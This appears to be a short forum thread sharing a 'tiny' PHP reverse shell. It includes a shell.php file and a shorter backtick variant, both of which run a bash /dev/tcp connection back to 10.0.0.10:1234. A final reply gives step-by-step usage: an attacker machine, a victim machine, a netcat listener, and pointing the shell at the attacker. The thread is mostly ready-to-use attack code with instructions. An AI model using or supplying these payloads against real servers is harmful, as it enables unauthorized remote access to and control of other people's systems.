A tiny PHP/bash reverse shell.

shell.php

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

it was bash not a php

It uses PHP to call a system command that opens a TCP socket that serves a bash shell to an IP/port.
Then you can connect to that IP/port and get access to this bash shell.
The script from the first post only works in unix-based OS with bash shell executable in the "/bin/" path.

Yea i know it spawn bash using php system call

Then this is the tiniest

<?=`"/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"`?>

Yes but the solution from rapid7 works on any operating system because it does not utilize any system calls.

1. You have two machines, the attacker and the victim. The victim must have network access to the attacker. (Same network, if you are in a VPN , both machines must be in that network, and those are the important IPs )
2. You have to open a listening port in your attacking machine, (nc -nvlp 1234)
3. You have to open a reverse shell, and point it to your attacking machine (VPN IP and open listening port)

And thats all.
